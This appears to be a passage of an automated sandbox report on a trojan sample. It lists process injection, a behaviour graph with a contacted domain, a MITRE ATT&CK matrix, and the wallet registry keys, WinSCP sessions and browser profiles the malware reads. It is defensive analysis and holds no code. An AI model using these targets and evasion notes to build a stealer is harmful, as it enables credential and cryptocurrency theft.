Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe base: 2CB010Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe base: 14011BC08
Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe base: 353010
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeProcess created: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe "C:\Windows\TEMP\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe" -burn.clean.room="C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe" -burn.filehandle.attached=632 -burn.filehandle.self=628Jump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeJump to behavior
Source: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeProcess created: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe "c:\windows\temp\{d72c88a4-5925-468b-94fa-44e2827accde}\.cr\securiteinfo.com.trojan.inject5.17530.4675.11921.exe" -burn.clean.room="c:\users\user\desktop\securiteinfo.com.trojan.inject5.17530.4675.11921.exe" -burn.filehandle.attached=632 -burn.filehandle.self=628
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeProcess created: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe "c:\windows\temp\{d72c88a4-5925-468b-94fa-44e2827accde}\.cr\securiteinfo.com.trojan.inject5.17530.4675.11921.exe" -burn.clean.room="c:\users\user\desktop\securiteinfo.com.trojan.inject5.17530.4675.11921.exe" -burn.filehandle.attached=632 -burn.filehandle.self=628Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007DDA1F InitializeSecurityDescriptor,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,CreateWellKnownSid,GetLastError,SetEntriesInAclA,SetSecurityDescriptorOwner,GetLastError,SetSecurityDescriptorGroup,GetLastError,SetSecurityDescriptorDacl,GetLastError,CoInitializeSecurity,LocalFree,0_2_007DDA1F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007DB493 AllocateAndInitializeSid,CheckTokenMembership,0_2_007DB493
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: )[%d] Shell_TrayWndTrayNotifyWnd
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007C7255 cpuid 0_2_007C7255
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDateJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0079BB84 ConvertStringSecurityDescriptorToSecurityDescriptorW,GetLastError,CreateNamedPipeW,GetLastError,CreateNamedPipeW,GetLastError,CreateNamedPipeW,GetLastError,CloseHandle,CloseHandle,LocalFree,0_2_0079BB84
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007DA805 EnterCriticalSection,GetCurrentProcessId,GetCurrentThreadId,GetLocalTime,LeaveCriticalSection,0_2_007DA805
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_00789360 GetUserNameW,GetLastError,0_2_00789360
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007EBA41 GetTimeZoneInformation,SystemTimeToTzSpecificLocalTime,0_2_007EBA41
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

Stealing of Sensitive Information

barindex
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeKey opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-QtJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeKey opened: HKEY_CURRENT_USER\Software\monero-project\monero-coreJump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeKey opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\SessionsJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeKey opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2 OverrideJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeKey opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\SessionsJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeKey opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2 OverrideJump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeFile opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ProfilesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeFile opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-releaseJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeFile opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\z6bny8rn.defaultJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\DefaultJump to behavior
Source: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exeDirectory queried: C:\Users\user\DocumentsJump to behavior
Source: C:\Windows\Temp\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exeCode function: 2_2_50CB8080 @Vcl@Consts@_SInvalidTabIndex,@Vcl@Consts@_SInvalidTabStyle,@Vcl@Consts@_SInvalidBitmap,2_2_50CB8080

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
Native API		11
DLL Side-Loading		1
Abuse Elevation Control Mechanism		1
Deobfuscate/Decode Files or Information		1
OS Credential Dumping		12
System Time Discovery		Remote Services1
Archive Collected Data		1
Ingress Tool Transfer		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault Accounts12
Command and Scripting Interpreter		1
Windows Service		11
DLL Side-Loading		1
Abuse Elevation Control Mechanism		1
Credentials in Registry		1
Account Discovery		Remote Desktop Protocol11
Data from Local System		21
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts1
Service Execution		1
Registry Run Keys / Startup Folder		1
Access Token Manipulation		2
Obfuscated Files or Information		Security Account Manager12
File and Directory Discovery		SMB/Windows Admin Shares2
Clipboard Data		3
Non-Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
Windows Service		11
DLL Side-Loading		NTDS136
System Information Discovery		Distributed Component Object ModelInput Capture14
Application Layer Protocol		Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script213
Process Injection		1
File Deletion		LSA Secrets121
Security Software Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
Registry Run Keys / Startup Folder		21
Masquerading		Cached Domain Credentials3
Process Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items21
Virtualization/Sandbox Evasion		DCSync21
Virtualization/Sandbox Evasion		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
Access Token Manipulation		Proc Filesystem1
System Owner/User Discovery		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt213
Process Injection		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1627627 Sample: SecuriteInfo.com.Trojan.Inj... Startdate: 02/03/2025 Architecture: WINDOWS Score: 88 90 piaktrip.online 2->90 106 Multi AV Scanner detection for submitted file 2->106 108 Joe Sandbox ML detected suspicious sample 2->108 13 SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe 8 2->13         started        16 RoboTaskLite.exe 1 2->16         started        19 msedge.exe 2->19         started        22 2 other processes 2->22 signatures3 process4 dnsIp5 88 SecuriteInfo.com.T...7530.4675.11921.exe, PE32 13->88 dropped 24 SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe 16 13->24         started        104 Maps a DLL or memory area into another process 16->104 27 cmd.exe 16->27         started        92 192.168.2.4, 138, 443, 49457 unknown unknown 19->92 94 239.255.255.250 unknown Reserved 19->94 30 msedge.exe 19->30         started        33 msedge.exe 19->33         started        35 msedge.exe 19->35         started        41 3 other processes 19->41 37 msedge.exe 22->37         started        39 msedge.exe 22->39         started        file6 signatures7 process8 dnsIp9 72 C:\Windows\Temp\...\vcl280.bpl, PE32 24->72 dropped 74 C:\Windows\Temp\...\rtl280.bpl, PE32 24->74 dropped 76 C:\Windows\Temp\...\RoboTaskLite.exe, PE32 24->76 dropped 78 C:\Windows\Temp\...\Overtrick.dll, PE32 24->78 dropped 43 RoboTaskLite.exe 6 24->43         started        80 C:\Users\user\AppData\Local\Temp\ssvrbxxww, PE32+ 27->80 dropped 124 Writes to foreign memory regions 27->124 126 Maps a DLL or memory area into another process 27->126 47 ToolSecurityBvg.exe 27->47         started        49 conhost.exe 27->49         started        98 18.164.96.18, 443, 50068 MIT-GATEWAYSUS United States 30->98 100 c-msn-pme.trafficmanager.net 13.74.129.1, 443, 50008 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 30->100 102 29 other IPs or domains 30->102 file10 signatures11 process12 file13 82 C:\Users\user\AppData\Roaming\...\vcl280.bpl, PE32 43->82 dropped 84 C:\Users\user\AppData\...\RoboTaskLite.exe, PE32 43->84 dropped 86 C:\Users\user\AppData\Roaming\...\rtl280.bpl, PE32 43->86 dropped 136 Switches to a custom stack to bypass stack traces 43->136 138 Found direct / indirect Syscall (likely to bypass EDR) 43->138 51 RoboTaskLite.exe 1 43->51         started        140 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 47->140 142 Tries to harvest and steal browser information (history, passwords, etc) 47->142 signatures14 process15 signatures16 110 Maps a DLL or memory area into another process 51->110 112 Switches to a custom stack to bypass stack traces 51->112 114 Found direct / indirect Syscall (likely to bypass EDR) 51->114 54 cmd.exe 5 51->54         started        process17 file18 68 C:\Users\user\AppData\...\ToolSecurityBvg.exe, PE32+ 54->68 dropped 70 C:\Users\user\AppData\Local\Temp\trcxbjkffm, PE32+ 54->70 dropped 116 Writes to foreign memory regions 54->116 118 Found hidden mapped module (file has been removed from disk) 54->118 120 Maps a DLL or memory area into another process 54->120 122 Switches to a custom stack to bypass stack traces 54->122 58 ToolSecurityBvg.exe 54->58         started        62 conhost.exe 54->62         started        signatures19 process20 dnsIp21 96 piaktrip.online 104.21.40.182, 443, 49909, 49920 CLOUDFLARENETUS United States 58->96 128 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 58->128 130 Found strings related to Crypto-Mining 58->130 132 Tries to harvest and steal Bitcoin Wallet information 58->132 134 Found direct / indirect Syscall (likely to bypass EDR) 58->134 64 msedge.exe 58->64         started        signatures22 process23 process24 66 msedge.exe 64->66         started       

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.